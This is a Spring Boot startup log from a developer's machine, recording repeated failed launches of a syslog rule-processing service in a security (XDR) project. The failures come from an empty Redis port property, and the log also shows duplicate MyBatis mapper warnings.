2026-05-18 15:03:28.956 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 171 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 15:03:28.974 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:03:28.976 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 15:03:29.140 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 15:03:29.141 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 153 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 15:03:29.296 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.296 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.296 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.296 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.297 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.297 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.297 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.297 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.297 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.297 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.297 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.297 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.297 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.297 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.297 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.298 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.298 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.299 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.299 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.299 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.299 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.299 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.299 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.299 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.299 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.299 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.299 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.299 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.300 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:03:29.300 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 15:03:29.916 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 15:03:29.922 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 15:03:29.923 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 15:03:29.923 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 15:03:30.115 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 15:03:30.115 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 4829 ms
|
||||
2026-05-18 15:03:30.176 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 15:03:32.946 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 15:03:33.525 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 15:03:33.544 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 15:03:33.571 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 15:03:33.577 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 15:03:33.671 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 15:03:39.532 [main] WARN o.s.b.w.s.c.AnnotationConfigServletWebServerApplicationContext - Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'realtimeAnalysisScheduler': Unsatisfied dependency expressed through field 'ruleExecutionTimeService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'ruleExecutionTimeServiceImpl': Unsatisfied dependency expressed through field 'redisTemplate'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'stringRedisTemplate' defined in class path resource [org/springframework/boot/autoconfigure/data/redis/RedisAutoConfiguration.class]: Unsatisfied dependency expressed through method 'stringRedisTemplate' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'org.springframework.boot.autoconfigure.data.redis.LettuceConnectionConfiguration': Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.boot.context.properties.ConfigurationPropertiesBindException: Error creating bean with name 'spring.redis-org.springframework.boot.autoconfigure.data.redis.RedisProperties': Could not bind properties to 'RedisProperties' : prefix=spring.redis, ignoreInvalidFields=false, ignoreUnknownFields=true; nested exception is org.springframework.boot.context.properties.bind.BindException: Failed to bind properties under 'spring.redis.port' to int
|
||||
2026-05-18 15:03:39.537 [main] INFO o.a.catalina.core.StandardService - Stopping service [Tomcat]
|
||||
2026-05-18 15:03:39.551 [main] INFO o.s.b.a.l.ConditionEvaluationReportLoggingListener -
|
||||
|
||||
Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.
|
||||
2026-05-18 15:03:39.569 [main] ERROR o.s.b.d.LoggingFailureAnalysisReporter -
|
||||
|
||||
***************************
|
||||
APPLICATION FAILED TO START
|
||||
***************************
|
||||
|
||||
Description:
|
||||
|
||||
Failed to bind properties under 'spring.redis.port' to int:
|
||||
|
||||
Property: spring.redis.port
|
||||
Value: ""
|
||||
Origin: class path resource [application.properties] - 90:0
|
||||
Reason: failed to convert java.lang.String to int (caused by java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type)
|
||||
|
||||
Action:
|
||||
|
||||
Update your application's configuration
|
||||
|
||||
2026-05-18 15:06:15.374 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 17924 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-18 15:06:15.376 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 15:06:15.378 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 15:06:18.273 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:06:18.276 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:06:18.809 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 526 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 15:06:18.813 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:06:18.815 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:06:18.952 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-18 15:06:18.952 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 137 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 15:06:18.964 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:06:18.965 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 15:06:19.089 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 15:06:19.089 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 116 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 15:06:19.270 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.270 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.270 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.270 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.270 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.270 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.270 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.270 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.271 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.271 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.271 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.271 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.271 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.271 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.271 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.271 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.271 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.275 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.275 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.275 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.275 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.275 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.275 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.275 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.275 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.275 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.275 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.276 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.276 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:06:19.277 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 15:06:19.918 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 15:06:19.926 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 15:06:19.927 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 15:06:19.927 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 15:06:20.172 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 15:06:20.172 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 4719 ms
|
||||
2026-05-18 15:06:20.230 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 15:06:22.916 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 15:06:23.374 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 15:06:23.388 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 15:06:23.407 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 15:06:23.410 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 15:06:23.464 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 15:06:28.190 [main] WARN o.s.b.w.s.c.AnnotationConfigServletWebServerApplicationContext - Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'realtimeAnalysisScheduler': Unsatisfied dependency expressed through field 'ruleExecutionTimeService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'ruleExecutionTimeServiceImpl': Unsatisfied dependency expressed through field 'redisTemplate'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'stringRedisTemplate' defined in class path resource [org/springframework/boot/autoconfigure/data/redis/RedisAutoConfiguration.class]: Unsatisfied dependency expressed through method 'stringRedisTemplate' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'org.springframework.boot.autoconfigure.data.redis.LettuceConnectionConfiguration': Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.boot.context.properties.ConfigurationPropertiesBindException: Error creating bean with name 'spring.redis-org.springframework.boot.autoconfigure.data.redis.RedisProperties': Could not bind properties to 'RedisProperties' : prefix=spring.redis, ignoreInvalidFields=false, ignoreUnknownFields=true; nested exception is org.springframework.boot.context.properties.bind.BindException: Failed to bind properties under 'spring.redis.port' to int
|
||||
2026-05-18 15:06:28.195 [main] INFO o.a.catalina.core.StandardService - Stopping service [Tomcat]
|
||||
2026-05-18 15:06:28.207 [main] INFO o.s.b.a.l.ConditionEvaluationReportLoggingListener -
|
||||
|
||||
Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.
|
||||
2026-05-18 15:06:28.225 [main] ERROR o.s.b.d.LoggingFailureAnalysisReporter -
|
||||
|
||||
***************************
|
||||
APPLICATION FAILED TO START
|
||||
***************************
|
||||
|
||||
Description:
|
||||
|
||||
Failed to bind properties under 'spring.redis.port' to int:
|
||||
|
||||
Property: spring.redis.port
|
||||
Value: ""
|
||||
Origin: class path resource [application.properties] - 90:0
|
||||
Reason: failed to convert java.lang.String to int (caused by java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type)
|
||||
|
||||
Action:
|
||||
|
||||
Update your application's configuration
|
||||
|
||||
2026-05-18 15:08:36.133 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 11220 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-18 15:08:36.133 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 15:08:36.138 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 15:08:38.441 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:08:38.467 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:08:39.053 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 580 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 15:08:39.059 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:08:39.059 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:08:39.211 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-18 15:08:39.212 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 151 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 15:08:39.225 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
